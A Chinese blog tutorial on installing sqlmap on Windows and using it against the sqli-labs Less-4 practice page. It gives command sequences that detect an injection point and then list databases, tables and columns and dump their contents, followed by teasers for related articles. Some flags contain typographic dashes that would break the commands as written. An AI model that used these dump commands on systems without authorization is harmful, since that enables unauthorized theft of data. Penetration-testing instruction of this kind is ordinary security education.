使用sqlmap检测漏洞（经典用法）

1.sqlmap的安装

zip版：https://github.com/sqlmapproject/sqlmap/zipball/master

tar.gz版：https://github.com/sqlmapproject/sqlmap/tarball/master
1、解压安装包
2、找到你安装python的目录（对于我来说：C:Python27中）

3、现在，在python文件夹中创建一个新的文件夹，并命名为“SqlMap”

4、然后把你刚才解压的SqlMap中的文件全部复制到C:Python27\sqlmap文件夹里面

2.基础语法

sqlmap.py -u “注入地址” --dbs // 列举数据库

sqlmap.py -u “注入地址” --current–db // 当前数据库

sqlmap.py -u “注入地址” --users // 列数据库用户

sqlmap.py -u “注入地址” --current–user // 当前用户

sqlmap.py -u “注入地址” --tables -D “数据库” // 列举数据库的表名

sqlmap.py -u “注入地址” --columns -T “表名” -D “数据库” // 获取表的列名

sqlmap.py -u “注入地址” --dump -C “列名字” -T “表名字” -D “数据库” //获取数据库下表的列信息

3.检测注入点并获取信息

1.打开sqlmap

cmd命令行中用cd命令跳转到C:\pyhton27\sqlmap

2.以sqli-lib/less-4为例进行检测

1.检测注入点

sqlmap.py -u “注入地址”

多次输入y

得到数据库版本等信息

2.获取数据库

sqlmap.py -u “注入地址” --dbs

得到所有数据库

3.获取表（以security为例）

sqlmap.py -u “注入地址” -D security --tables

得到security数据中的所有表

4.获取字段

sqlmap.py -u “注入地址”  -D 数据库 -T 数据表 --columns

5.输出字段内容

sqlmap.py -u “注入地址”  --dump -C “列名字” -T “表名字”  -D “数据库”

使用SQLmap检测漏洞相关推荐

linux如何检测漏洞,Linux下检测漏洞软件包 | 独木の白帆
前言随着开源软件热潮的进一步发展和在互联网上的广泛应用,目前因开源软件存在漏洞而造成的影响变得巨大.如Bash漏洞.Openssl心脏出血漏洞.ImageMagick命令执行漏洞.ffmpeg文件读 ...
视频教程-SQL注入与SQLmap工具-漏洞挖掘与利用
SQL注入与SQLmap工具玄道,从混迹漏洞平台与SRC应急响应中心的白帽子到创业乙方的技术与运营刘畅 ¥15.00 立即订阅扫码下载「CSDN程序员学院APP」,1000+技术好课免费看 AP ...
使用sqlmap检测sql注入漏洞
一. sql注入概述并安装sqlmap漏洞查看工具 1. sql注入概述所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命 ...
sqlmap注入教程linux,Linux Sqlmap检测sql注入漏洞工具安装使用教程
Sqlmap工具什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行命令) sql注 ...
sqlmap检测sql注入漏洞
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限.它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数 ...
【错误记录】Android 应用安全检测漏洞修复 ( StrandHogg 漏洞 | 设置 Activity 组件 android:taskAffinity=““ )
文章目录一.报错信息二.修改方案一.报错信息检测应用是否存在 StrandHogg 漏洞 : StrandHogg 是一个存在于 Android 多任务系统中的应用漏洞.此漏洞利用 APP ...
腾讯云（云镜）主机入侵检测漏洞检测
腾讯云主机安全又称之为腾讯云云镜.是腾讯云服务器云主机安全必备.云镜解决主机入侵.高危漏洞等主机安全问题,在腾讯云服务器上面部署了云镜,你就不必为服务器的安全费心了,一切交给腾讯云云镜处理就好了. ...
渗透测试安全检测漏洞
最近渗透测试工作比较多没有空闲的时间来写文章,今天由我们Sine安全的渗透主管来普及一下java的安全测试基础,很多客户想要了解具体js的调用漏洞或提交playload的过程以及是如何拿到最高权限和绕 ...
最全Android安全检测漏洞解决方案
前言:APP安全检测通常在一些小型企业涉及的比较少,并且并不太关注这方面的问题.然而在一些大型互联网企业或者国企等等就非常在意这方面的安全问题,并且会有专门的人去对APK进行检测.本节我们一起学习在A ...

使用SQLmap检测漏洞